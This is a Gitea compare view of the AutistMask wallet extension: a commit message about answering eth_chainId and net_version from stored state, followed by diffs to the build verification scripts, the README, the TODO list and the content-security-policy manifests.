Compare commits

..

1 Commits

Author SHA1 Message Date
5c4a671d4a fix: answer eth_chainId and net_version from loaded state (closes #317)
All checks were successful
check / check (push) Successful in 28s
e2e / e2e-chrome (push) Successful in 1m10s
e2e / e2e-firefox (push) Successful in 22s
Both methods answered from currentNetwork(), which reads the module-level state
singleton, and nothing populates that at module scope. A service worker revived
by the page's own message therefore held DEFAULT_STATE and reported mainnet
0x1 / 1 to a page whose user was on Sepolia, so a dApp asking which chain the
wallet is on built its interaction for the wrong one. Neither method is gated on
a connection, so any page got the stale answer.

Both now answer from getState() — the per-call storage read that returns a
detached object, which every other read handler in this file already uses —
rather than by loading the singleton. Loading it would fix the stale answer but
introduce a worse defect on the same path: loadState() replaces state.wallets
wholesale, and backgroundRefresh() hands the singleton's wallets to
refreshBalances(), which mutates those address objects in place across a network
round trip before stamping lastBalanceRefresh and saving. A load landing inside
that round trip detaches the objects being mutated, so the save persists the
pre-refresh balances while still marking the refresh done, and the freshness
guard then suppresses the redo for half the alarm period. These two methods are
reachable by any page, and the injected provider sends eth_chainId on every page
load, so an ordinary page load would be enough to drop a refresh and a polling
page could keep any refresh from ever persisting. getState() reads storage once
per call and mutates nothing shared. networkById(undefined) already falls back
to mainnet, which is the answer a profile with no stored networkId had before.

Read-side audit of the background, which the fix was the occasion for: the other
singleton reads are wallet_switchEthereumChain, the transaction verify/broadcast
path and backgroundRefresh, and all three already load first. Every other
handler answers from storage per call through getState(). One stale read remains
and is deliberately not fixed here, being a different handler rather than the
same one-line shape: handleSendTransaction calls getProvider() with no network
name, so balances.js falls back to the same unloaded singleton for ethers'
static network hint, and a cold-worker send on Sepolia is prepared with a
mainnet hint. It is caught later — the artifact is verified against the loaded
chain before broadcast — so it fails the send rather than sending on the wrong
chain.

The test's storage stub structured-clones in both directions, as the real
chrome.storage.local does. A stub that hands back the live stored object aliases
it into whatever reads it, which makes an in-place mutation of a detached copy
look as though it reached storage and hides this entire class of defect: with an
aliasing get, the whole suite passes against the loadState() version above.

Verified failing first, two mutations, each with the rest of the tree untouched.
Reverting the handler to the singleton read gives 3 failed / 791 passed: exactly
the three cases that read the chain on a cold worker, each answering 0x1 / 1
instead of 0xaa36a7 / 11155111. Replacing getState() with await loadState() plus
currentNetwork() gives 1 failed / 793 passed: the new mid-refresh case, with the
persisted balance "0" where the refresh wrote "1.5". With the fix, 794 passed /
37 suites, and lint ran uncached in the pinned container.
2026-08-20 11:03:10 +00:00
28 changed files with 377 additions and 1823 deletions

View File

@@ -1,4 +1,4 @@
.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug vendor-blocklist clean dev .PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug verify-build vendor-blocklist clean dev
# Standard targets are thin shims; the implementations live in script/ # Standard targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section # per the scripts-to-rule-them-all pattern (see the Entrypoints section
@@ -47,27 +47,10 @@ docker:
hooks: hooks:
@script/install-precommit @script/install-precommit
# build.js writes a receipt of everything it emitted — every path, its sha256,
# and whether it is a bundle containing constants.js — and script/verify-build
# checks dist/ against that. The receipt is made here, fresh per invocation,
# outside the repo, and deleted again: a standing file inside dist/ would be
# rewritten by whoever rewrote dist/, which is what made the old check
# satisfiable by a hand-written tree.
#
# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
# from the verifier's environment. The script no longer reads it at all; env -u
# is here so that stays true of anything it calls. It is deliberately NOT
# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
# compiles a debug bundle and then fails on it, loudly, rather than quietly
# handing back something other than the release build that was asked for.
build: build:
@echo "Building extension..." @echo "Building extension..."
@set -eu; \ @yarn run build 2>&1
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \ @script/verify-build
trap 'rm -f "$$receipt"' EXIT INT TERM; \
AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
env -u AUTISTMASK_DEBUG script/verify-build --expect release \
--receipt "$$receipt"
@script/check-censored --require-dist @script/check-censored --require-dist
# Development-only build: enables the red DEBUG / INSECURE banner and makes # Development-only build: enables the red DEBUG / INSECURE banner and makes
@@ -75,14 +58,15 @@ build:
# distribute the artifacts this produces. # distribute the artifacts this produces.
build-debug: build-debug:
@echo "Building extension (DEBUG)..." @echo "Building extension (DEBUG)..."
@set -eu; \ @AUTISTMASK_DEBUG=1 yarn run build 2>&1
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \ @AUTISTMASK_DEBUG=1 script/verify-build
trap 'rm -f "$$receipt"' EXIT INT TERM; \
AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
--receipt "$$receipt"
@script/check-censored --require-dist @script/check-censored --require-dist
# Assert the compiled DEBUG state of the bundles already in dist/. Runs at
# the end of build and build-debug; separate target for re-running it alone.
verify-build:
@script/verify-build
# Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream. # Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
# Run deliberately, land the diff: the extension does no runtime fetching, so # Run deliberately, land the diff: the extension does no runtime fetching, so
# the shipped list is as fresh as the last vendoring run that was released. # the shipped list is as fresh as the last vendoring run that was released.

129
README.md
View File

@@ -48,57 +48,28 @@ Load the extension:
### Debug Builds ### Debug Builds
`make build` never hands back a debug build. `make build-debug` is the only `make build` always produces a release build: the build-time `DEBUG` constant is
target that produces one: `false`, so wallet creation uses real entropy and the red banner is off. To
produce a debug build instead, set `AUTISTMASK_DEBUG=1` in the environment:
```bash ```bash
make build-debug make build-debug # or: AUTISTMASK_DEBUG=1 make build
``` ```
`AUTISTMASK_DEBUG=1` still selects the debug compile, and only the exact value Only the exact value `1` enables it; any other value (including unset, empty, or
`1` does; any other value (including unset, empty, or `true`) yields a release `true`) yields a release build, so a typo cannot accidentally ship the debug
build, so a typo cannot accidentally ship the debug behavior. But it is the behavior. The build prints which mode it used. See the
compiler's input, not the verifier's: if it happens to be exported in the shell
that runs `make build`, that target compiles a debug bundle and then **fails**,
because it tells `script/verify-build` in so many words that it was supposed to
produce a release build. It used to be that the verifier read the same variable
out of its own environment, agreed with itself, and reported a debug artifact as
verified. The build prints which mode it used. See the
[DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never [DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
distribute a debug build** — every wallet it creates gets the same publicly distribute a debug build** — every wallet it creates gets the same publicly
known test recovery phrase. known test recovery phrase.
Both targets end by running `script/verify-build`, which reads the compiled Both builds end by running `script/verify-build`, which reads the compiled
`DEBUG` state back out of the emitted bundles and fails the build if it is not `DEBUG` state back out of the emitted bundles and fails the build if it is not
the one that was asked for. The test suite cannot check this: it loads the one that was asked for. The test suite cannot check this: it loads
`src/shared/constants.js` outside a bundle, so it only ever sees the fallback `src/shared/constants.js` outside a bundle, so it only ever sees the fallback
value. The assertion is on the artifacts because that is where the property value. The assertion is on the artifacts because that is where the property
lives. lives.
### Build Receipts
`build.js` records every file it emits — path, sha256, and whether the file is
one of the bundles containing `src/shared/constants.js` — into a build receipt,
and `script/verify-build` checks `dist/` against that receipt: every recorded
file present with exactly the recorded bytes, every audited bundle carrying the
requested `DEBUG` marker, and nothing under `dist/` that the build did not
write. The `Makefile` creates the receipt path with `mktemp` per invocation,
outside the repo, and deletes it afterwards.
That is what ties the check to a build rather than to a directory. What it
establishes is narrow and worth stating exactly: `dist/` is byte for byte the
output of the `build.js` run that just finished, with nothing added, removed or
altered in between. It establishes nothing about whether the source tree or
`build.js` were honest, and it offers nothing to someone handed a `dist/` from
elsewhere — without the receipt from its own build there is no input to the
check. Verifiable provenance for a third party is signing, which this is not.
There is deliberately no target that re-verifies an existing `dist/` on its own.
The list of files to check has to come from the build that produced them; read
back out of `dist/`, it is the artifact vouching for itself, which is how a
26-byte file containing only the marker string, a hostile content script, and an
entire hand-written `dist/` all used to verify green.
## Entrypoints ## Entrypoints
This repository adheres to the This repository adheres to the
@@ -143,26 +114,20 @@ provide:
serves. Run deliberately, never as part of a build: the output is committed serves. Run deliberately, never as part of a build: the output is committed
and there is no runtime fetch, so the shipped list is as fresh as the last and there is no runtime fetch, so the shipped list is as fresh as the last
vendoring run that was released vendoring run that was released
- `script/verify-build --expect release|debug --receipt PATH` — assert that - `script/verify-build` — assert the compiled `DEBUG` state of the bundles in
`dist/` is exactly what the build that just ran emitted, and that the compiled `dist/`: every bundle containing `src/shared/constants.js` must have `DEBUG`
`DEBUG` state of the bundles in it is the one that was asked for. Both off, or on when `AUTISTMASK_DEBUG=1`. Run automatically at the end of
arguments are required and neither has a default: the expected mode is stated `make build` and `make build-debug`; fails loudly rather than passing if it
by the caller rather than read from `AUTISTMASK_DEBUG`, and the file list cannot determine a bundle's state. Not part of `make check`, which does not
comes from the build's receipt rather than from `dist/` (see depend on build artifacts existing.
[Build Receipts](#build-receipts)). Run automatically at the end of
`make build` and `make build-debug`; fails loudly rather than passing whenever
it cannot determine something. Not part of `make check`, which does not depend
on build artifacts existing.
- `script/test-verify-build` — exercise every failure mode of - `script/test-verify-build` — exercise every failure mode of
`script/verify-build` against a fixture tree in a temp dir, asserting the exit `script/verify-build` against a fixture tree in a temp dir, asserting the exit
status and the message of each, and read the `make build` and status and the message of each. Part of `make check`; it reads no build
`make build-debug` recipes back out of `make -n` to check that they pass the artifacts and writes nothing under `dist/`. The cases that depend on file
mode as an argument on a scrubbed environment. Part of `make check`; it reads permissions cannot mean anything for a process that is not subject to them, so
no build artifacts and writes nothing under `dist/`. The cases that depend on the harness proves its runner against a mode-000 file before counting them,
file permissions cannot mean anything for a process that is not subject to dropping to an unprivileged user when run as root; if it cannot, it skips
them, so the harness proves its runner against a mode-000 file before counting those cases and says so in a banner rather than passing them.
them, dropping to an unprivileged user when run as root; if it cannot, it
skips those cases and says so in a banner rather than passing them.
- `script/docker` — build the Docker image tagged via `script/projectname` - `script/docker` — build the Docker image tagged via `script/projectname`
- `script/cibuild` — CI entrypoint: plain `docker build .` - `script/cibuild` — CI entrypoint: plain `docker build .`
- `script/precommit` — run by the git pre-commit hook; runs `script/check` - `script/precommit` — run by the git pre-commit hook; runs `script/check`
@@ -175,10 +140,9 @@ The Makefile shims to those. It also carries a few targets that have no
of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being
silently rewritten. Use `make setup` for a fresh clone. silently rewritten. Use `make setup` for a fresh clone.
- `make hooks` — shims to `script/install-precommit` - `make hooks` — shims to `script/install-precommit`
- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`, - `make build` — build the extension into `dist/chrome/` and `dist/firefox/`
then verify the result against the build's receipt as a release build - `make build-debug` — the same build with `AUTISTMASK_DEBUG=1` (see
- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1`, verified as a [Debug Builds](#debug-builds))
debug build (see [Debug Builds](#debug-builds))
- `make clean` — remove `dist/` - `make clean` — remove `dist/`
- `make dev` — build in watch mode - `make dev` — build in watch mode
@@ -1500,44 +1464,10 @@ policy, but as of now there are none.
### Content Security Policy ### Content Security Policy
Both manifests declare the same policy for extension pages, as an object under Both manifests declare the same policy for extension pages
`script-src 'self' 'wasm-unsafe-eval'; object-src 'self'` — as an object under
`content_security_policy.extension_pages` in `manifest/chrome.json` (MV3) and as `content_security_policy.extension_pages` in `manifest/chrome.json` (MV3) and as
a bare string in `manifest/firefox.json` (MV2): a bare string in `manifest/firefox.json` (MV2).
```
default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self';
style-src 'self' 'unsafe-inline'; img-src 'self' data:;
connect-src 'self' https: http:; frame-src 'none'; form-action 'none';
base-uri 'none'
```
`default-src 'self'` is the floor. Without it the policy governed script and
plugins only, and everything else — frames above all — was unrestricted, which
is what let an unescaped token symbol paint a cross-origin iframe over the
wallet's own UI. Escaping is the primary fix for that (see
`src/shared/html.js`); this is the second line, so an escape that does slip
cannot reach the network.
Four directives are looser than `'self'`, each for a reason that does not
generalise:
- `style-src 'unsafe-inline'``src/popup/index.html` and the view helpers set
presentation through `style="..."` attributes, which CSP blocks without this.
Chrome enforces `style-src` on attributes, not only on `<style>` blocks, and
Firefox has never implemented `style-src-attr`, so there is no narrower
spelling that works on both targets. It permits inline **style**; script stays
under `script-src`, which does not allow `'unsafe-inline'`.
- `img-src data:` — identicons are generated in the popup by
`ethereum-blockies-base64` and assigned to `img.src` as `data:` PNGs.
- `connect-src https: http:` — the RPC endpoint is user-configurable and a local
node over `http://127.0.0.1` is a supported configuration, which the Firefox
end-to-end suite depends on. The wallet's outbound traffic is constrained by
what it is written to contact (see External Communication), not by this
directive.
- `frame-src 'none'`, `form-action 'none'`, `base-uri 'none'` — named rather
than inherited. `form-action` and `base-uri` do not fall back to `default-src`
at all, so they would have stayed unrestricted; `frame-src 'none'` is what
refuses the framed-overlay attack outright.
`'wasm-unsafe-eval'` is there for one reason: libsodium. It ships a WebAssembly `'wasm-unsafe-eval'` is there for one reason: libsodium. It ships a WebAssembly
build and a `wasm2js` translation of it in one file, tries WASM first, and build and a `wasm2js` translation of it in one file, tries WASM first, and
@@ -1555,10 +1485,9 @@ strings, not inline script, not remote script. Using it requires already
executing script in an extension page, which is complete compromise on its own. executing script in an extension page, which is complete compromise on its own.
`'unsafe-eval'` is a different proposition and is not granted. `'unsafe-eval'` is a different proposition and is not granted.
The policy is pinned in both directions. `tests/manifest.test.js` asserts the The grant is pinned in both directions. `tests/manifest.test.js` asserts the
exact directive set and the exact token set of each directive in both manifests, exact token set in both manifests, so dropping `'wasm-unsafe-eval'` (a silent
so dropping `'wasm-unsafe-eval'` (a silent 20x regression on the key 20x regression on the key derivation) and adding anything beyond it both fail
derivation), dropping `default-src`, and adding anything anywhere all fail
`make check`. `tests/vaultBackend.test.js` asserts the unit tests run the WASM `make check`. `tests/vaultBackend.test.js` asserts the unit tests run the WASM
backend, and `make test-e2e` compiles a WebAssembly module inside the real popup backend, and `make test-e2e` compiles a WebAssembly module inside the real popup
under the real manifest. under the real manifest.

54
TODO.md
View File

@@ -25,8 +25,8 @@ pre-1.0, working towards the 1.0.0 milestone. Tagged v0.1.0 on 2026-02-27. The
milestone is in flight on `next`; its `next` -> `main` PR is milestone is in flight on `next`; its `next` -> `main` PR is
[#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified [#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified
green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces
`dist/chrome/` and `dist/firefox/`, verified against the build's own receipt to `dist/chrome/` and `dist/firefox/` with every bundle verified to have `DEBUG`
be exactly what that build emitted with `DEBUG` compiled off. compiled off.
The backlog lives on the The backlog lives on the
[Gitea tracker](https://git.eeqj.de/sneak/AutistMask/issues), which is [Gitea tracker](https://git.eeqj.de/sneak/AutistMask/issues), which is
@@ -44,56 +44,6 @@ but the review is broader than any of them.
# Completed Steps # Completed Steps
- 2026-08-20: `make build` can no longer hand back a debug build, and
`script/verify-build` can no longer be satisfied by bytes the build did not
produce ([#309](https://git.eeqj.de/sneak/AutistMask/issues/309)). The
verifier used to compute its expectation from `AUTISTMASK_DEBUG` in its own
environment, so an operator with that exported who ran the release target got
a debug bundle — every wallet it creates carrying the publicly committed test
phrase — certified green at exit 0. The expected mode is now the required
argument `--expect release|debug`, with no default and nothing read from the
environment, and the `Makefile` scrubs the flag from the verifier while
deliberately leaving it reaching the compiler, so that shell fails the build
loudly instead of quietly getting something other than what it asked for.
Provenance was the other half: the check was a marker grep over a file list
read back out of `dist/`, so a 26-byte file containing only
`autistmask-build-debug=off` verified `ok`, `manifest.json` and the content
script that runs on every page were never read at all, and an entire
hand-written `dist/` passed. `build.js` now records every file it emits, with
its sha256 and whether it is one of the bundles containing `constants.js`,
into a receipt whose path the `Makefile` makes fresh per invocation outside
the repo and deletes afterwards; `dist/constants-bundles.txt` is gone, and
`dist/` is cleared before a build so it holds only what that build wrote. The
standalone `make verify-build` target went with it: re-verifying a `dist/`
from the `dist/` itself is the thing that was broken. What this establishes is
narrow and stated as such in README.md — `dist/` is byte for byte the output
of the `build.js` run that just finished — and it is not signing, which is
[#310](https://git.eeqj.de/sneak/AutistMask/issues/310).
`script/test-verify-build` grew from 18 cases to 39, including one per
demonstrated bypass and the `make -n` read-back that proves the recipes pass
the mode as an argument.
- 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the
popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token
symbol is whatever the contract's `symbol()` returns, the block explorer
passes it through unfiltered, and `balanceLine()` interpolated it into an
`innerHTML` string — so a token with the 1,000 holders the spam filter asks
for, airdropped to the victim, could paint a full-viewport cross-origin iframe
over the wallet's own UI, on the screens where the user types their password.
`escapeHtml` moved to `src/shared/html.js` as a pure string replace over `&`,
`<`, `>`, `"` and `'`: the old implementation round-tripped through a detached
element's `textContent`, which does not escape quotes, and it was already
being used inside `data-copy="..."`. Every interpolation into an `innerHTML`
string across `src/popup/views/` was audited, not just the reported one — the
transaction lists' direction label, the wallet name and ENS name in the Home
list, the `href` in the explorer link, and the confirmation screen's warning
line were all unescaped as well. Both manifests now declare
`default-src 'self'` with `frame-src 'none'`; the four directives that had to
stay looser than `'self'` are named and justified in the Content Security
Policy section of README.md, and `tests/manifest.test.js` pins the whole set
exactly. A display cap of 12 characters bounds the symbol, matching the bound
`lookupTokenInfo()` already applied on the contract-read path. Not repurposed
for any of this: `isSpoofedSymbol()`, which answers a different question and
would have been the wrong control.
- 2026-08-20: A page asking which chain the wallet is on is told the chain the - 2026-08-20: A page asking which chain the wallet is on is told the chain the
user is actually on ([#317](https://git.eeqj.de/sneak/AutistMask/issues/317)). user is actually on ([#317](https://git.eeqj.de/sneak/AutistMask/issues/317)).
`eth_chainId` and `net_version` answered from `currentNetwork()`, which reads `eth_chainId` and `net_version` answered from `currentNetwork()`, which reads

175
build.js
View File

@@ -1,6 +1,5 @@
const fs = require("fs"); const fs = require("fs");
const path = require("path"); const path = require("path");
const crypto = require("crypto");
const { execSync } = require("child_process"); const { execSync } = require("child_process");
const esbuild = require("esbuild"); const esbuild = require("esbuild");
@@ -9,29 +8,12 @@ const DIST_CHROME = path.join(DIST, "chrome");
const DIST_FIREFOX = path.join(DIST, "firefox"); const DIST_FIREFOX = path.join(DIST, "firefox");
const SRC = path.join(__dirname, "src"); const SRC = path.join(__dirname, "src");
// The module whose compiled DEBUG state script/verify-build asserts. Which // The module whose compiled DEBUG state script/verify-build asserts, and the
// bundles contain it is derived from esbuild's own dependency graph rather // manifest naming every emitted bundle that ends up containing it. The
// than from a hardcoded list, so it tracks the bundle layout instead of // manifest is derived from esbuild's own dependency graph rather than from a
// rotting with it. // hardcoded list, so it tracks the bundle layout instead of rotting with it.
const AUDITED_MODULE = "src/shared/constants.js"; const AUDITED_MODULE = "src/shared/constants.js";
const BUNDLE_MANIFEST = path.join(DIST, "constants-bundles.txt");
// The build receipt: every file this build emits, with its sha256 and whether
// it is one of the audited bundles. script/verify-build is handed this and
// checks dist/ against it, so the file list comes from the build that just ran
// rather than being read back out of the tree it is supposed to vouch for.
//
// The path is supplied by the caller, not chosen here, and the Makefile makes
// a fresh one per invocation outside the repo: that is what ties a receipt to
// one build rather than leaving a standing file anyone can write.
const RECEIPT_HEADER = "autistmask-build-receipt v1";
const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
// Every emitted path must be plainly nameable, because the receipt is a
// line-oriented text file consumed by a POSIX shell script and a path with a
// space or a newline in it could not be read back unambiguously. Nothing this
// build emits looks like that; if that ever changes, the build fails here
// rather than writing a receipt that cannot be checked.
const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
function ensureDir(dir) { function ensureDir(dir) {
fs.mkdirSync(dir, { recursive: true }); fs.mkdirSync(dir, { recursive: true });
@@ -49,10 +31,10 @@ function repoRelative(p) {
// searching the minified text, it does not depend on what survived minification. // searching the minified text, it does not depend on what survived minification.
// //
// The ".js" filter below is the only place that assumption lives: // The ".js" filter below is the only place that assumption lives:
// script/verify-build reads every file the receipt names, whatever its // script/verify-build searches every file and symlink under dist/ for a
// extension, and fails on any that carries a debug marker without being // marker, without filtering by extension, and hard-fails if it cannot walk the
// recorded as an audited bundle — so a bundle emitted under some other // whole tree, so a bundle emitted under some other extension fails there as
// extension fails there rather than escaping both checks at once. // unlisted rather than escaping both checks at once.
function outputsContainingAuditedModule(metafile) { function outputsContainingAuditedModule(metafile) {
return Object.entries(metafile.outputs) return Object.entries(metafile.outputs)
.filter(([outFile, info]) => { .filter(([outFile, info]) => {
@@ -64,94 +46,6 @@ function outputsContainingAuditedModule(metafile) {
.map(([outFile]) => repoRelative(outFile)); .map(([outFile]) => repoRelative(outFile));
} }
// Every file this build writes under dist/, recorded as it is written. This is
// the build's own account of what it emitted; it is never recovered by
// listing dist/, because a file that is in dist/ without this build having put
// it there is exactly what the receipt exists to expose.
const emittedFiles = [];
function recordEmitted(absPath) {
emittedFiles.push(absPath);
}
// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
// CLI record their outputs where they are invoked.
function copyEmitted(src, dest) {
fs.copyFileSync(src, dest);
recordEmitted(dest);
}
function sha256File(absPath) {
return crypto
.createHash("sha256")
.update(fs.readFileSync(absPath))
.digest("hex");
}
// Write the receipt for the files this build emitted. Deliberately records no
// build mode: which mode was asked for is script/verify-build's argument, so
// build.js cannot vouch for build.js. All the receipt says is "these bytes,
// under these names, are what I wrote, and these ones bundle constants.js".
function writeReceipt(receiptPath, auditedBundles) {
const audited = new Set(auditedBundles);
const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
for (const p of paths) {
if (!SAFE_EMITTED_PATH.test(p)) {
throw new Error(
`emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
);
}
}
// A bundle esbuild reported but that nothing recorded as emitted means the
// two halves have drifted apart, and the receipt would then leave an
// audited bundle out. Fail rather than emit a short receipt.
for (const bundle of audited) {
if (!paths.includes(bundle)) {
throw new Error(
`${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
);
}
}
if (audited.size === 0) {
throw new Error(
`no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
);
}
const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
for (const p of paths) {
const flag = audited.has(p) ? "A" : "P";
lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
}
fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
console.log(
`Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
`containing ${AUDITED_MODULE} (${receiptPath})`,
);
}
// Where the receipt goes, decided before anything is emitted so a build that
// cannot produce a checkable receipt fails before it writes any artifacts.
// Inside dist/ is refused: a receipt that lives in the tree it describes can
// be rewritten by whoever rewrites the tree, which is the hole this replaces.
function receiptTarget() {
const requested = process.env[RECEIPT_ENV];
if (!requested) {
return null;
}
const resolved = path.resolve(requested);
if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
throw new Error(
`${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
`describes dist/ and must not live in it.`,
);
}
return resolved;
}
// DEBUG is a build-time flag, off unless explicitly requested. It is the only // DEBUG is a build-time flag, off unless explicitly requested. It is the only
// thing that makes the hardcoded test mnemonic reachable, so the opt-in must be // thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
// exact: anything other than the literal "1" (unset, empty, "true", a typo) // exact: anything other than the literal "1" (unset, empty, "true", a typo)
@@ -193,15 +87,6 @@ function getBuildInfo() {
async function build() { async function build() {
console.log("Building AutistMask extension..."); console.log("Building AutistMask extension...");
const receiptPath = receiptTarget();
if (!receiptPath) {
console.warn(
`WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
`receipt and script/verify-build cannot verify what it ` +
`emitted. Build through make build / make build-debug.`,
);
}
const buildInfo = getBuildInfo(); const buildInfo = getBuildInfo();
console.log("Build info:", buildInfo); console.log("Build info:", buildInfo);
@@ -223,21 +108,19 @@ async function build() {
}; };
// Emitted bundles that contain constants.js, accumulated across every // Emitted bundles that contain constants.js, accumulated across every
// esbuild run below and recorded in the receipt for script/verify-build. // esbuild run below and written out for script/verify-build.
const auditedBundles = []; const auditedBundles = [];
// compile tailwind CSS // compile tailwind CSS
console.log("Compiling Tailwind CSS..."); console.log("Compiling Tailwind CSS...");
const tailwindInput = path.join(SRC, "popup", "styles", "main.css"); const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
const tailwindOutput = path.join(DIST, "styles.css"); const tailwindOutput = path.join(DIST, "styles.css");
// Start from an empty dist/, so what is there afterwards is what this
// build put there and nothing else. Leftovers from an earlier build are
// not covered by this build's receipt, and script/verify-build rejects
// any file it did not emit rather than ignoring it.
fs.rmSync(DIST, { recursive: true, force: true });
ensureDir(DIST); ensureDir(DIST);
// Drop any manifest from a previous build before emitting anything, so a
// build that never gets around to writing one cannot be verified against
// a stale list.
fs.rmSync(BUNDLE_MANIFEST, { force: true });
// The locally installed binary, not `npx` — npx silently fetches from the // The locally installed binary, not `npx` — npx silently fetches from the
// registry when the binary is absent, which is an unpinned network fetch // registry when the binary is absent, which is an unpinned network fetch
// in the middle of a build. // in the middle of a build.
@@ -251,7 +134,6 @@ async function build() {
`"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`, `"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
{ stdio: "inherit" }, { stdio: "inherit" },
); );
recordEmitted(tailwindOutput);
// Every bundle goes through here, so metafile collection cannot be // Every bundle goes through here, so metafile collection cannot be
// forgotten when a new entry point is added. // forgotten when a new entry point is added.
@@ -267,7 +149,6 @@ async function build() {
metafile: true, metafile: true,
define, define,
}); });
recordEmitted(outfile);
auditedBundles.push(...outputsContainingAuditedModule(result.metafile)); auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
} }
@@ -301,39 +182,39 @@ async function build() {
); );
// copy popup HTML // copy popup HTML
copyEmitted( fs.copyFileSync(
path.join(SRC, "popup", "index.html"), path.join(SRC, "popup", "index.html"),
path.join(distDir, "src", "popup", "index.html"), path.join(distDir, "src", "popup", "index.html"),
); );
// place compiled CSS next to popup HTML // place compiled CSS next to popup HTML
copyEmitted( fs.copyFileSync(
tailwindOutput, tailwindOutput,
path.join(distDir, "src", "popup", "styles.css"), path.join(distDir, "src", "popup", "styles.css"),
); );
} }
// copy manifests // copy manifests
copyEmitted( fs.copyFileSync(
path.join(__dirname, "manifest", "chrome.json"), path.join(__dirname, "manifest", "chrome.json"),
path.join(DIST_CHROME, "manifest.json"), path.join(DIST_CHROME, "manifest.json"),
); );
copyEmitted( fs.copyFileSync(
path.join(__dirname, "manifest", "firefox.json"), path.join(__dirname, "manifest", "firefox.json"),
path.join(DIST_FIREFOX, "manifest.json"), path.join(DIST_FIREFOX, "manifest.json"),
); );
// Written last so a build that died partway through leaves no receipt at // Written last so a build that died partway through leaves no manifest
// all, which script/verify-build treats as a hard failure rather than as // at all, which script/verify-build treats as a hard failure rather than
// "nothing to check". // as "nothing to check".
if (receiptPath) { const manifest = [...new Set(auditedBundles)].sort();
writeReceipt(receiptPath, auditedBundles); fs.writeFileSync(BUNDLE_MANIFEST, manifest.map((p) => `${p}\n`).join(""));
} console.log(
`Bundles containing ${AUDITED_MODULE}: ${manifest.length} ` +
`(listed in ${repoRelative(BUNDLE_MANIFEST)})`,
);
console.log("Build complete: dist/chrome/ and dist/firefox/"); console.log("Build complete: dist/chrome/ and dist/firefox/");
} }
build().catch((err) => { build();
console.error(`Build failed: ${err && err.message ? err.message : err}`);
process.exit(1);
});

View File

@@ -6,7 +6,7 @@
"permissions": ["storage", "activeTab", "alarms"], "permissions": ["storage", "activeTab", "alarms"],
"host_permissions": ["<all_urls>"], "host_permissions": ["<all_urls>"],
"content_security_policy": { "content_security_policy": {
"extension_pages": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'" "extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
}, },
"action": { "action": {
"default_popup": "src/popup/index.html" "default_popup": "src/popup/index.html"

View File

@@ -4,7 +4,7 @@
"version": "0.1.0", "version": "0.1.0",
"description": "Minimal Ethereum wallet for Firefox", "description": "Minimal Ethereum wallet for Firefox",
"permissions": ["storage", "activeTab", "alarms", "<all_urls>"], "permissions": ["storage", "activeTab", "alarms", "<all_urls>"],
"content_security_policy": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'", "content_security_policy": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'",
"browser_action": { "browser_action": {
"default_popup": "src/popup/index.html" "default_popup": "src/popup/index.html"
}, },

View File

@@ -3,13 +3,11 @@
# script/verify-build. Our own extension to scripts-to-rule-them-all, run # script/verify-build. Our own extension to scripts-to-rule-them-all, run
# from script/check so make check covers it. # from script/check so make check covers it.
# #
# Why this exists: verify-build is the build-integrity guard, and four separate # Why this exists: verify-build is the build-integrity guard, and three
# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation, # separate reviews of it each found a fresh vacuous pass — the grep exit-2
